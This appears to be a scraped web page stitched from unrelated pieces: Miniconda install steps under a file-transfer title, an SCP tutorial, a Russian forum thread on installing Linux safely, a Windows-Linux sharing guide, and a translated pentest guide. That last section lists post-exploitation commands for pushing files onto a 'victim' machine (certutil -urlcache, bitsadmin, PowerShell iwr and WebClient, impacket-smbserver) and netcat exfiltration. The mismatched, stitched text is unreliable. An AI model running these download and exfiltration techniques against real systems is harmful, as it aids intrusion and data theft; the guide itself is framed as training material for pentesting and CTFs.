Как перекинуть файл с windows на linux

Системные требования¶

  • Windows 8 и выше, 32-бит или 64-бит.

  • 400 МБ дискового пространства.

Наиболее полный список требований для Windows (а также требования для MacOS и Linux) — на
сайте Anaconda. Для Miniconda требования те же, за исключением дискового пространства.

Загрузка дистрибутива¶

Загрузите дистрибутив для вашей операционной системы
по ссылке на сайте документации conda.

Проверка хеш-суммы дистрибутива¶

Разработчики Miniconda рекомендуют перед запуском установки проверить хеш-сумму загруженного дистрибутива, чтобы убедиться в его целостности и подлинности.
На странице
документации conda
вы найдете хеш-сумму SHA256 для последней версии дистрибутива. Хеш-суммы для более ранних версий также
доступны.

Проверьте дистрибутив:

  1. Запустите PowerShell (например, нажмите Win+R и введите powershell).

  2. Введите следующую команду:

    Get-FileHash путь-к-вашему-дистрибутиву -Algorithm SHA256

  3. Сверьте полученный результат со значением, указанным на странице со ссылкой на загрузку дистрибутива.

Установка Miniconda¶

Запустите файл скачанного дистрибутива (с расширением exe) и следуйте инструкциям установщика.
В процессе установки вам нужно будет указать:

  • для каких пользователей компьютера устанавливать Miniconda: только для себя (не требуются права администратора) или для всех пользователей (нужны права администратора);

  • в какую папку установить Miniconda;

  • нужно ли добавить Miniconda в переменную окружения PATH (разработчики Miniconda не рекомендуют устанавливать этот флажок, так как это впоследствии может вызвать проблемы, для решения которых придется удалить и переустановить Miniconda);

  • нужно ли зарегистрировать версию Python, устанавливаемую с Miniconda, как используемую по умолчанию другими программами (например, PyCharm или PyDev).

Introduction

While there are various methods available for file transfers from a Windows system to a Linux system, using the Command lines provides a straightforward and reliable approach. In this guide, we’ll walk you through the step-by-step process, highlighting the necessary commands and techniques to seamlessly transfer your files from Windows to Linux.

Prerequisites

Verify Your Remote Linux Server is Ready

If you have ordered one from Database Mart, you will receive an email containing the information of your VPS, including server IP and login credentials. You can also obtain the information on the overview page in the control panel. Please refer to this guide on how to get server credentials if you need assistance.

Steps to Transfer Files from Windows to Linux Using Command Prompt

Step 1. Open the Command Prompt in Local Windows

Search cmd in the search bar, and double-click the Command Prompt to open it. Or press the Windows key + R, then type cmd or cmd.exe in the Run command box, and press Enter.

Then, you should see the command prompt interface as below.

Step 2. Transfer Files between Local Windows and Remote Linux

Before the transfer, we will explain some terms used in the command. When using the command, you should replace these terms with the actual value.

filename.extension: it’s the name of a file and file extension that’s to be transferred. In this case, we may use mydata.txt and website.txt.
folderName: it’s the name of a folder that’s to be transferred. In this case, we may use the Website folder.
customPort: it’s the custom port you use to connect to your remote Linux server.
localFilePath: it’s the path on your local Windows PC.
username: it’s the username used to log into the remote Linux server.
remoteServerAddress: it’s the server IP of the remote Linux server.
remoteFilePath: it’s the path on the remote Linux server. In this case, we use /home/administrator.

2.1 Transfer a File from Local to Remote Server

For demonstration purposes, we have created a file in the desktop>website named «mydata.txt». First, we need to go to the file’s directory by inputting cd, followed by the file path on our local Windows. In this case, the file is located at desktop\website. Therefore, we enter the following command.

After that, you can see that we navigate to the folder where the file is located.

Then, we use the following command to transfer the «mydata.text» from local Window to the remote Linux server.

scp filename.extension username@remoteServerAddress:remoteFilePath

After entering the command, you will be prompted for the password for connecting to the remote server. Input the password and hit the Enter button, the file will be transferred. In this case, we have transferred the local file mydata.txt (located at desktop/website) to the /home/administrator directory on the remote Linux server.

2.2 Transfer a File from Remote Server to Local

You can run the following command to copy a file from the remote server to your local Windows PC.

scp username@remoteServerAddress:remoteFilePath/filename.extension localFilePath

In this case, we have transferred the mydata.txt (located at home/administrator on the remote server) to the desktop directory on the local server.

2.3 Transfer Multiple Files from Local to Remote Server

The SCP command also allows you to transfer multiple files in a single command. Navigate to the file folder and run the following command.

scp localFilePath/filename1.extension localFilePath/filename2.extension username@remoteServerAddress:remoteFilePath

In this case, we have transferred two local files mydata.txt (located at desktop) and mywebsite.txt (located at desktop/website) to the /home/administrator directory on the remote Linux server.

2.4 Transfer a Folder from Local to Remote Server

Besides files, the SCP command also allows you to securely copy folders between the local and remote server. Use the following command to copy a folder from local to the remote server.

scp -r localFilePath/folderName username@remoteServerAddress:remoteFilePath

In this case, we have transferred the local Website folder, which contains two files mydata.txt and mywebsite.txt, to the /home/administrator directory on the remote Linux server.

2.5 Transfer a File Faster

Adding the -c option after the scp command will compress the file while it’s being transferred. Once the file reaches its destination, it returns to its normal size.

scp -c localFilePath/filename.extension username@remoteServerAddress:remoteFilePath

In this case, we have transferred the local Website folder, which contains two files mydata.txt and mywebsite.txt, to the /home/administrator directory on the remote Linux server.

2.6 Transfer a File Using a Custom Port

The scp command uses the 22 port by default. If you have changed to a custom port, please run the following command to transfer a file. Make sure to capitalize the P.

scp -P customPort localFilePath/filename.extension username@remoteServerAddress:remoteFilePath

In this case, we have transferred the local file mydata.txt to the /home/administrator directory on the remote Linux server using a custom port.

Step 3. Verify the File has been Transferred

Then, Use a preferred editor to open the file. Here, we use the «Nano editor.» In this example, the remoteFilePath is /home/administrator, and the filename.extention can be mydata.txt, mywebsite.txt, and myweb.txt.

nano remoteFilePath/filename.extention

We can also check if the folder has been copied to the remote server. Go to the /home/administrator directory and check if the Website folder is there.

cd /home/administrator
ll

Conclusion

In conclusion, transferring files from a local Windows machine to a remote Linux server using the command prompt (CMD) is a powerful and efficient method for managing data. By following the step-by-step guide outlined in this blog, you can establish a secure connection, utilize the SCP (Secure Copy Protocol) command, and successfully transfer files between these two platforms.

Other Methods to Transfer Files between Windows and Linux Server

 install


0

1

Только собираюсь поставить Linux но пугает перспектива потери всех файлов из диска Е где хранятся семейные фото и видео.Как установить Linux без потери всего этого?

  • Ссылка

Ответ на:

комментарий
от anonymous

Тоже так думал,но там файлов больше чем на 50 гб

Staslend
()

автор топика

  • Ссылка

в смысле перенос? ntfs-3g чем не устраивает?

xmikex ★★★★
()

  • Ссылка

открыть File Explorer, нажать правой кнопкой мыши на This PC, выбрать Manage, в открывшемся окне Computer Management выбрать Disk Management, нажать правой кнопкой на диск E, выбрать Shrink Volume…, задать размер будущего диска, нажать кнопку Shrink.
загрузить линукс в UEFI режиме, установить в созданный для него диск.
в случае, если ваша SKU Windows имеет другую локализацию, обратиться к специалисту технической поддержки вашего региона.

  • Ссылка

Линукс не удаляет чужие данные, но сами вы, по ошибке, можете их удалить.

anonymous
()

  • Ссылка

Прочитать руководство и пользоваться здравым смыслом.

В конце концов можно потренироваться в виртуалке: добавить туда три диска (по гигу, например), поставить венду и потом установить линукс.

anonymous
()

  • Ссылка

Перед установкой любой операционной системы делайте резервную копию, есть внешние жесткие диски, лучше такой пробрести безотносительно linux.

Aber ★★★★★
()

  • Ссылка

Семейные фото надо бы хранить где-то еще кроме диска E, независимо от желания установить Linux, а то ,тьфу-тьфу,… диски они такие.

  • Ссылка

Ответ на:

комментарий
от anonymous

Говноблако…
Ну че за мания хранить все личные документы и тем более фото черт знает где? Еще и с вероятностью стыринга.

Автор — не парься. Твой раздел с нтфс спокойно примонтируется в линуксе и будет работать. Ну, если у тебя данные на отдельном разделе лежат, конечно. Если нет — ССЗБ.

Zhbert ★★★★★
()

  • Ссылка

U от S буквы же очень очень далеко, как же так?! Ну, а по вопросу: 2 метра американский USB 2.0 кабель (не три, а именно два) средней даже цены, ж/д вестерн, ну или ла’чи кой нибудь, из внешников «синих», «черных» серий, и программа «Dokan», как говорится только в путь!!!

anonymous
()

  • Ссылка

Диск D под линукс самое то и диск Е не трогая сохранит все фото. Ну и как писали выше всегда важные файлы нужно дублировать либо на отдельный винт либо на облако.

Ramil ★★★★
()

  • Ссылка

но пугает перспектива потери всех файлов из диска Е где хранятся семейные фото и видео.Как установить Linux без потери всего этого?

Просто.
Покажи, пожалуйста — загрузившись с Arch Linux Live USB,
и исполнив комманду в консоле — `lsblk -f’, с подлюченным Windows диском

Диск E:/ — скорее всего покажется как /dev/sda4 или /dev/sdb{1,2}

Теперь, как ты собираешься ставить Linux — и какой именно?
(Советую Linux Mint) — и дальше, будет проще.

blitz


()

  • Ссылка

При установке пропиши ему монтирование типа /mnt/win_e и ни в коем случае не форматируй!

piwww ★★★★
()

  • Ссылка

Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.

Копирование данных с ПК с Windows в Linux — или в другом направлении — поначалу может показаться пугающим. В конце концов, это то, что кажется простым, но оказывается сложным.

По правде говоря, делиться файлами из Windows в Linux легко, но только если вы знаете, как это сделать. Готовы выяснить?

Перенос данных между операционными системами Windows и Linux проще, чем вы думаете. Мы собрали пять способов сделать это:

  1. Поделиться сетевыми папками
  2. Передача файлов с FTP
  3. Безопасное копирование файлов через SSH
  4. Обмен данными с помощью программного обеспечения для синхронизации

С помощью каждого из этих методов вы сможете легко (а в некоторых случаях легко) перемещать файлы между операционными системами.

Давайте посмотрим на них по очереди и выясним, какой из них подходит вам больше всего.

1. Совместное использование сетевых папок между Linux и Windows

Наиболее очевидный способ обмена файлами между Linux и Windows — это использование сетевых ресурсов. Этот термин относится к папкам на одном ПК, которые доступны пользователям на других компьютерах. В сети только для Windows это легко настроить. Добавление устройства Linux немного усложняет ситуацию, хотя это можно преодолеть.

Начиная с Windows, щелкните правой кнопкой мыши значок сетевого подключения на панели задач и выберите «Открыть сеть и настройки Интернета». Далее нажмите «Параметры общего доступа» и включите текущий профиль.

  • Включить обнаружение сети
  • Включите общий доступ к файлам и принтерам

Нажмите «Сохранить изменения» для подтверждения, затем перейдите в папку, содержащую файлы, которыми вы хотите поделиться. Щелкните правой кнопкой мыши папку, выберите «Свойства» и откройте вкладку «Общий доступ». Здесь нажмите «Расширенный общий доступ», затем установите флажок «Поделиться этой папкой».

Вы можете управлять доступом к папке через разрешения; это относится к локальным пользователям Windows, а не к сетевым устройствам.

Нажмите OK, чтобы подтвердить изменение, затем откройте вкладку Безопасность в Свойствах. Настройте это, чтобы отразить настройки в поле Полномочия ранее. Вам не нужно делать слишком много здесь, так как Windows 10 должна включать группу под названием Authenticated Users. Это используется для удаленного доступа к вашему компьютеру.

Снова нажмите ОК, когда вы закончите.

Чтобы найти общий ресурс Windows на ПК с Linux, просто откройте браузер файлов и выберите «Сеть». Отсюда перейдите к папке, размещенной в Windows, и начните обмен данными.

Доступ к общему ресурсу Linux из Windows

Чтобы переместить данные в другом направлении, вам нужно установить Samba на ваш компьютер с Linux.

sudo apt install samba

Затем установите имя пользователя для общего ресурса samba.

smbpasswd -a username

Вам будет предложено ввести пароль для новой учетной записи (не используйте для этого «имя пользователя»!).

Затем создайте каталог для обмена данными.

mkdir /home/[username]/Share

Затем отредактируйте файл smb.conf в своем текстовом редакторе:

sudo nano /etc/samba/smb.conf

Добавьте следующее в конец файла конфигурации:

[Share] path = /home/[username]/[folder_name] available = yes valid users = [username] read only = no browsable = yes public = yes writable = yes

Внесите необходимые изменения в соответствии со своими потребностями, затем нажмите Ctrl + X, чтобы выйти, и нажмите Y, чтобы сохранить. Далее перезапустите Samba:

sudo service smbd restart

После этого вы сможете получить доступ к общему ресурсу из Windows. Откройте проводник или браузер и введите IP-адрес или имя хоста удаленного устройства Linux, а затем имя папки. В нашем примере это

\\192.168.1.233\Share

2. Скопируйте файлы через SSH из Windows в Linux

С включенным SSH на вашем устройстве Linux вы можете отправлять данные через командную строку с одного компьютера на другой. Однако, чтобы это работало, вам нужно настроить SSH-сервер на вашем Linux-компьютере.

Начните с открытия терминала и обновления и обновления ОС.

sudo apt update sudo apt upgrade

После завершения установите сервер SSH. Сервер OpenSSH — хороший вариант.

sudo apt install openssh-server

Подождите, пока он установит. Чтобы в любой момент проверить, работает ли сервер OpenSSH, используйте

sudo service ssh status

Для передачи данных из Windows используйте SSH-клиент, например PuTTY. Это требует загрузки инструмента PSCP в вашу систему Windows для запуска вместе с PuTTY. Найти оба на домашней странице PuTTY.

Обратите внимание, что в то время как PuTTY нужно будет установить, PSCP — нет. Однако его следует сохранить в корне диска C:\ или настроить как переменную среды. Вам также необходимо подтвердить IP-адрес устройства Linux. Отметьте это на коробке с

ifconfig

После установления соединения вы можете отправлять данные следующим образом:

c:\pscp c:\some\path\to\a\file.txt user@remoteIP:\home\user\some\path\newname.txt

Перед началом передачи вам будет предложено ввести пароль для компьютера с Linux.

Хотите скопировать данные из Linux в Windows в одном сеансе SSH? Эта команда загрузит указанный файл в текущий каталог:

c:\pscp user@remoteIP:\home\user\some\file.txt .

Обратите внимание на одиночный период в конце — включите его, иначе перевод не будет работать.

3. Как перенести файлы из Linux в Windows, используя FTP

Можно также использовать приложение протокола передачи файлов (FTP) с поддержкой SSH. Передача файлов через SFTP в пользовательском интерфейсе, управляемом мышью, возможно, проще, чем полагаться на набранные команды.

Опять же, сервер SSH должен быть запущен на компьютере с Linux перед началом работы. Вы также должны убедиться, что вы установили приложение FTP, такое как FileZilla, которое поддерживает SFTP.

Чтобы использовать этот метод, запустите FileZilla, затем откройте Файл → Менеджер сайтов. Создайте новый сайт, заботясь о том, чтобы установить протокол на SFTP. Добавьте целевой IP-адрес в Host, затем имя пользователя и пароль, установив тип входа в систему как Нормальный.

Нажмите Готово, когда будете готовы, затем используйте интерфейс FTP для перетаскивания файлов между двумя компьютерами.

4. Делитесь файлами между Linux и Windows с помощью Resilio Sync

Другим вариантом, который вы должны рассмотреть, является программа синхронизации файлов. Обычно они кроссплатформенные и используют зашифрованный ключ для управления соединением между устройствами.

Все, что вам нужно сделать, это установить приложение, назначить папку синхронизации, а затем создать ключ. Установите это на втором ПК, и ваши данные будут синхронизированы. Для этого есть два хороших варианта:

  • Resilio Sync: ранее известная как BitTorrent Sync, Resilio доступна практически на любой платформе, о которой вы только можете подумать. Есть платная версия, но бесплатного варианта достаточно для синхронизации двух устройств.
  • SyncThing: для Linux, Windows, macOS и Android эта альтернатива Resilio Sync предлагает аналогичную функцию без платного компонента.

Совместное использование файлов между Windows и Linux очень просто

Если вы новичок в Linux, или вы находите Windows незнакомой, обмен данными между ними проще, чем вы думаете.

Мы рассмотрели несколько методов. Мы рекомендуем вам попробовать все из них и решить, какой из них вам наиболее удобен.

https://www.youtube.com/watch?v=vHSpdI_bZ0g

Просмотров: 17 538

В этой статье пойдет речь о нескольких методах передачи файлов на Linux и Windows. Процесс является важным компонентом пост-эксплуатации, которую осуществляет пентестер.

Введение

Руководство по передаче файлов ориентировано на выполнение практики «Red teaming» и тестирования на проникновение, а также будет полезным при использовании в CTF. Стоит взглянуть на компоненты, которые понадобятся пентестеру во время работы.

Передача файлов на Windows

Необходимые компоненты

  • Машина пентестера: Kali Linux
  • Машина жертвы: Windows
  • Файл для передачи: Putty.exe

IWR (Invoke-Web Request)

Машина пентестера: Пользователь переходит в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, которую можно выполнить на сервере «SimpleHTTPS» на порту 80, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге. Это один из самых простых способов передачи файлов.

python -m SimpleHTTPServer 80

Машина жертвы: Нужно открыть новую вкладку на терминале в Kali. Поскольку пользователь уже использовал машину жертвы, следует использовать Netcat для получения входящего соединения от машины пентестера. Как только это будет сделано, необходимо выполнить команду PowerShell на машине жертвы, чтобы загрузить файл с машины пентестера в заданный каталог. При проверке временного каталога пользователь может увидеть файл «putty.exe», который был успешно доставлен.

Примечание: «iwr» расшифровывается как «Invoke-Web Request» и является частью утилиты Microsoft PowerShell.

nc -lvp 4444
powershell.exe -command iwr -Uri http://192.168.1.2/putty.exe -OutFile C:\Temp\putty.exe "
dir

Бывают случаи, когда пользователь хочет использовать сокращенные команды. Поэтому вместо «-outfile» он будет вводить только «-o», чтобы указать путь назначения данных (как показано ниже). Читатели могут заметить, что с помощью этой команды человек также успешно отправляет файл «putty.exe» с его компьютера.

powershell.exe iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe

Есть еще один способ использовать ту же команду и сократить ее до минимального размера. Итак, нужно запустить PowerShell на машине жертвы и ввести комбинацию букв и знаков, как показано на рисунке ниже.

powershell
iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
dir

Certutil

Изначально Certutil предназначался для управления сертификатами и CA, но он также может быть использован для передачи файлов.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: Следует использовать следующую команду для загрузки файла с машины пентестера. В команде человек упомянул IP-адрес файла и имя нужного файла. «-помогает произвести перезапись данных.

certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe

Та же команда может быть выполнена с дополнительным разделением символов, чтобы указать на встроенные элементы ASN.1, а затем сохранить все на машину жертвы.

certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe

Bitsadmin

Машина жертвы: Команда «/transfer» в Bitsadmin – это один из самых простых способов передачи файлов с машины пентестера. Сначала нужно определить отображаемое имя передачи. В данном примере оно будет называться «job». После определения имени следует указать путь к файлу для загрузки, т.е. «putty.exe» в машине пентестера. В результате пользователь вводит имя файла для загрузки и путь назначения.

bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe

Curl

Curl – это инструмент командной строки Linux, который используется для обмена данными с одного сервера на другой. Теперь он также доступен в «cmd» Windows.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: На машине жертвы нужно выполнить следующую команду, чтобы загрузить файл с машины пентестера:

curl http://192.168.1.2/putty.exe -o putty.exe
dir

Wget

Его задача состоит в том, чтобы извлекать контент с доступных веб-серверов. Человек загрузит файл на сервер с помощью PowerShell.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: Нужно открыть Powershell на машине Windows и выполнить следующую команду. Пользователь указывает путь для загрузки файла и папку назначения для передачи файла «putty.exe».

powershell
wget http://192.168.1.2/putty.exe -OutFile putty.exe
dir

Человек может использовать одну и ту же команду по-разному. Он применяет PowerShell.

powershell.exe wget http://192.168.1.2/putty.exe -OutFile putty.exe

Powershell

У пользователя есть команда для доступа к Shell Windows, которую он может использовать для загрузки любого файла с веб-сервера. Следует ввести приведенную ниже команду в Powershell машины жертвы от имени администратора.

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/putty.exe', 'putty.exe')

SMB Server

SMB – это протокол, предназначенный для установления связи, чтобы обеспечить общий доступ к файлам, портам и т.д. Нужно понять, как пользователь может использовать его для передачи файла с его машины на машину жертвы.

Impacket-Smbserver

Машина пентестера: На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл. Затем нужно воспользоваться командой «Impacket-smbserver», чтобы поделиться этим файлом с локальной машины. Значение общего ресурса здесь заключается в том, что он преобразует длинный путь файла в один общий каталог. Одна и та же команда «Impacket» может выполняться двумя способами.

Примечание: «Impacket» обеспечивает низкоуровневый программный доступ к некоторым пакетам для определенных протоколов в сети.

В приведенной ниже команде видно, что пользователь будет совместно использовать файл из каталога. Однако вместо упоминания всего пути он пишет «pwd», что означает текущий рабочий каталог.

impacket-smbserver share $(pwd) -smb2support

Эту команду можно использовать по-разному. Единственное различие заключается в том, что пользователь упоминает текущий каталог, как показано на рисунке ниже.

impacket-smbserver share /root/Downloads/test -smb2support

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера можно воспользоваться командой «copy».

copy \\192.168.1.2\share\putty.exe
dir

Человек также может использовать команду «net use» для подключения к общей папке. Затем следует ввести команду «copy», чтобы загрузить файл с компьютера пентестера. Файл «putty.exe» успешно был доставлен в систему жертвы.

net use \\192.168.1.2\share
net use
copy \\192.168.1.2\share\putty.exe
dir

Примечание: Если пентестер использует другую операционную систему, где «Impacket» не установлен по умолчанию, то можно применить следующий метод, вручную установив «Impacket smb-server» из Github.

Машина пентестера: На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл.

python3 smbserver.py share /root/test -smb2support

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера также можно воспользоваться командой «copy».

copy \\192.168.1.2\share\putty.exe
dir

TFTP

Служба TFTP используется для чтения и записи файлов из удаленного соединения, которое функционирует на порту 69 путем настройки UDP.

Машина пентестера: На атакующей машине нужно создать каталог и файл с именем «file.txt».

Теперь пользователь откроет Metasploit и использует существующий модуль TFTP для обмена файлами. Нужно ввести IP-адрес машины пентестера, а также путь к каталогу для загрузки файла и эксплойта.

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера используется команда «TFTP». Файл «putty.exe» успешно был доставлен.

tftp -i 192.168.1.2 GET file.txt

FTP

FTP расшифровывается как File Transfer Protocol («протокол передачи файлов»). Его задача заключается в совместном использовании файлов между системами. С помощью FTP пользователь может загрузить файл в систему Windows жертвы, введя правильное имя пользователя и пароль, как показано ниже. Он также может использовать команду «get», если есть два файла, чтобы выбрать необходимый ему файл.

ftp 192.168.1.5
get file.txt
dir

Передача файлов на Linux

HTTP

Это один из самых популярных способов передачи файлов. Стоит рассмотреть различные методы использования HTTP в этих целях.

PHP Web-Server

Машина пентестера: Команда «PHP» используется для запуска HTTP-листенера для получения общего доступа к файлам, перейдя в каталог, где находится файл.

php -S 0.0.0.0:8080

Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6:8080/putty.exe

Apache

Машина пентестера: Служба Apache должна быть активирована на компьютере перед передачей файла через веб-каталоги. Затем нужно переместить любой файл в каталог HTML, чтобы поделиться им. После этого пользователь перезапускает Apache.

cp putty.exe /var/www/html
service apache2 restart

Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6/putty.exe

Сервер Simple HTTP

Машина пентестера: Пользователь перейдет в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, выполняемая на сервере «SimpleHTTP» на порту 8000, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге.

python -m SimpleHTTPServer

Если у человека установлена более новая версия Python, он также может использовать команду, как показано на рисунке ниже.

python3 -m http.server 8000

Машина жертвы: В веб-браузере жертвы нужно указать IP-адрес машины пентестера и номер порта, чтобы перечислить содержимое каталога для загрузки файла.

Curl

Это инструмент командной строки, который используется для передачи данных. Он также применяется для загрузки файлов с машины пентестера.

Машина жертвы: Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

curl -O http://192.168.1.6/putty.exe

Wget

Это инструмент командной строки Linux, который используется для загрузки файла с компьютера пентестера.

Машина жертвы: Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

wget 192.168.1.6/putty.exe

Netcat

Netcat известен как «швейцарский нож». Он используется в нескольких целях. Пользователь будет применять его для передачи файлов.

Машина пентестера: Пользователь использует следующую команду для загрузки файла.

nc -lvp 5555 > file.txt

Машина жертвы: На машине жертвы нужно ввести данную команду.

nc 192.168.1.6 5555 < file.txt

Теперь пользователь может скачать файл, чтобы просмотреть его содержимое.

SCP

SCP расшифровывается как Secure Copy Protocol. Он предназначен для безопасной передачи файлов между локальным и удаленным хостом. Основан на протоколе SSH.

Машина пентестера: Пользователь создал новый файл «file.txt», затем перенес его на удаленную машину с помощью следующей команды:

scp file.txt kali@192.168.1.6:/tmp

Машина жертвы: На машине жертвы пользователь переходит в каталог «/temp» и использует команду «cat» для чтения файла.

SMB-Client

Машина пентестера: Служба «smbclient» может использоваться для получения доступа к общей папке smb-сервера. Следует выполнить приведенную ниже команду, чтобы просмотреть эту папку.

Машина жертвы: Пользователь проверит файл в общем каталоге. Он может загрузить его с помощью команды «get» и прочитать его содержимое с помощью команды «cat».

smbclient -L 192.168.1.21 -U raj%123
smbclient  //192.168.1.21/share -U raj%123

Meterpreter

Машина пентестера: При компрометации машины жертвы с помощью Meterpreter пользователь может выполнить следующую команду для загрузки файла с его компьютера.

meterpreter> download file.txt /root/Desktop/

FTP

Машина пентестера: Нужно установить Python-FTP-библиотеку с помощью команды «pip». Затем человек вводит команду «python», чтобы поделиться файлом с помощью FTP. Нужно установить для него имя пользователя и пароль.

Примечание: В данном случае «p» в нижнем регистре означает номер порта, а «Р» в верхнем регистре – пароль.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u jeenali -P 123

Машина жертвы: На машине жертвы человек использует команду FTP с IP-адресом его компьютера, вводит имя пользователя и пароль. С помощью команды «get» он может отправить файл.

ftp 192.168.1.5

Человек также имеет возможность загрузить файл на машину жертвы из браузера, введя имя пользователя и пароль.

ftp 192.168.1.5

Здесь читатели могут увидеть каталог, указанный в списке, и файл, который готов к загрузке.

ftp 192.168.1.5

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как на ноутбуке асус отключить клавиатуру на ноутбуке windows
  • C windows system32 driverstore filerepository как очистить
  • Самый простой файловый менеджер windows
  • Windows 10 пользовательская служба буфера обмена
  • Windows is in notification period